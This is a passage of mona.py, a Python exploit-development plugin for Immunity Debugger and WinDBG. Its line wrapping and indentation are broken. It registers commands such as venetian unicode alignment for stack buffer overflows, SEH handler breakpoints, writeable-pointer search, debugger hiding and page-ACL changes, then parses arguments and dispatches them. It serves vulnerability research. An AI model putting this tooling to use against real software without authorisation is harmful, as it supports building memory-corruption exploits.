commands["getiat"]
= MnCommand("getiat","Sh
ow IAT of selected module(s)",getiatUsage,procGetIAT,"iat")
commands["geteat"]
= MnCommand("geteat","Show EAT of se
lected module(s)",geteatUsage,procGetEAT,"eat")
commands["pageacl"]
= MnCommand("pageacl","Show ACL asso
ciated with mapped pages",getpageACLUsage,procPageACL,"pacl")
commands["bpseh"]
= MnCommand("bpseh","Set a breakpoin
t on all current SEH Handler function pointers",bpsehUsage,procBPSeh,"sehbp")
commands["kb"]
= MnCommand("kb","Manage
Knowledgebase data",kbUsage,procKb,"kb")
commands["encode"]
= MnCommand("encode","En
code a series of bytes",encUsage,procEnc,"enc")
commands["unicodealign"]
= MnCommand("unicodealign","Gene
rate venetian alignment code for unicode stack buffer overflow",unicodealignUsag
e,procUnicodeAlign,"ua")
#commands["heapcookie"]
= MnCommand("heapcookie","Looks for
writeable pointers that can help avoiding cookie check during arbitrary free",h
eapCookieUsage,procHeapCookie,"hc")
if __DEBUGGERAPP__ == "Immunity Debugger":
commands["deferbp"]
= MnCommand("deferbp","S
et a deferred breakpoint",deferUsage,procBu,"bu")
commands["calltrace"] = MnCommand("calltrace","Log all
CALL instructions",calltraceUsage,procCallTrace,"ct")
if __DEBUGGERAPP__ == "WinDBG":
commands["fillchunk"] = MnCommand("fillchunk","Fill a
heap chunk referenced by a register",fillchunkUsage,procFillChunk,"fchunk")
commands["dumpobj"]
= MnCommand("dumpobj","D
ump the contents of an object",dumpobjUsage,procDumpObj,"do")
commands["dumplog"]
= MnCommand("dumplog","Dump obje
cts present in alloc/free log file",dumplogUsage,procDumpLog,"dl")
commands["changeacl"] = MnCommand("changeacl","Change
the ACL of a given page",changeaclUsage,procChangeACL,"ca")
commands["allocmem"]
= MnCommand("allocmem","Allocate
some memory in the process",allocmemUsage,procAllocMem,"alloc")
commands["tobp"]
= MnCommand("tobp","Gene
rate WinDBG syntax to create a logging breakpoint at given location",tobpUsage,p
rocToBp,"2bp")
commands["fwptr"]
= MnCommand("fwptr", "Fi
nd Writeable Pointers that get called", fwptrUsage, procFwptr, "fwp")
commands["sehchain"]
= MnCommand("sehchain","Show the
current SEH chain",sehchainUsage,procSehChain,"exchain")
commands["hidedebug"]
= MnCommand("hidedebug","Attempt
to hide the debugger",hidedebugUsage,procHideDebug,"hd")
commands["gflags"]
= MnCommand("gflags", "S
how current GFlags settings from PEB.NtGlobalFlag", gflagsUsage, procFlags, "gf"
)
commands["infodump"]
= MnCommand("infodump","Dumps sp
ecific parts of memory to file", infodumpUsage, procInfoDump,"if")
commands["peb"]
= MnCommand("peb","Show

location of the PEB",pebUsage,procPEB,"peb")


commands["teb"]
= MnCommand("teb","Show
TEB related information",tebUsage,procTEB,"teb")
commands["string"]
= MnCommand("string","Re
ad or write a string from/to memory",stringUsage,procString,"str")
commands["copy"]
= MnCommand("copy","Copy
bytes from one location to another",copyUsage,procCopy,"cp")
# get the options
opts = {}
last = ""
arguments = []
# in case we're not using Immunity
if "-showargs" in args:
dbg.log("-" * 40)
dbg.log("args: %s" % args)
if len(args) > 0:
if args[0].lower().startswith("mona") or args[0].lower()
.endswith("mona") or args[0].lower().endswith("mona.py"):
args.pop(0)
if len(args) >= 2:
arguments = args[1:]
if "-showargs" in args:
dbg.log("arguments: %s" % arguments)
for word in arguments:
if (word[0] == '-'):
word = word.lstrip("-")
opts[word] = True
last = word
else:
if (last != ""):
if str(opts[last]) == "True":
opts[last] = word
else:
opts[last] = opts[last] + " " +
word
#last = ""
# if a command only requires a value and not a switch ?
# then we'll drop the value into dictionary with key "?"
if len(args) > 1 and args[1][0] != "-":
opts["?"] = args[1]
if len(args) < 1:
commands["help"].parseProc(opts)
return("")
command = args[0]
if "-showargs" in args:
dbg.log("command: %s" % command)
dbg.log("-" * 40)
# ----- execute the chosen command ----- #
if command in commands:
if command.lower().strip() == "help":
commands[command].parseProc(args)
else:

commands[command].parseProc(opts)
else:
# maybe it's an alias
aliasfound = False
for cmd in commands:
if commands[cmd].alias == command:
commands[cmd].parseProc(opts)
aliasfound = True
if not aliasfound:
commands["help"].parseProc(None)
return("** Invalid command **")
# ----- report ----- #
endtime = datetime.datetime.now()
delta = endtime - starttime
dbg.log("")
dbg.logLines("[+] This mona.py action took %s\n" % str(delta))
dbg.setStatusBar("Done")
except:
dbg.log("*" * 80,highlight=True)
dbg.logLines(traceback.format_exc(),highlight=True)
dbg.log("*" * 80,highlight=True)
dbg.error(traceback.format_exc())
return ""
if __name__ == "__main__":
dbg.log("Hold on...")
# do we need to profile ?
doprofile = False
if "-profile" in sys.argv:
doprofile = True
dbg.log("Starting profiler...")
cProfile.run('main(sys.argv)', 'monaprofile')
else:
main(sys.argv)
if doprofile:
dbg.log("[+] Showing profile stats...")
p = pstats.Stats('monaprofile')
dbg.log(" ***** ALL *****")
p.print_stats()
dbg.log(" ***** CUMULATIVE *****")
p.sort_stats('cumulative').print_stats(30)
dbg.log(" ***** TIME *****")
p.sort_stats('time', 'cum').print_stats(30)
# clear memory
if __DEBUGGERAPP__ == "WinDBG":
dbglib.clearvars()
try:
allvars = [var for var in globals() if var[0] != "_"]
for var in allvars:
del globals()[var]
dbg = None
except:
pass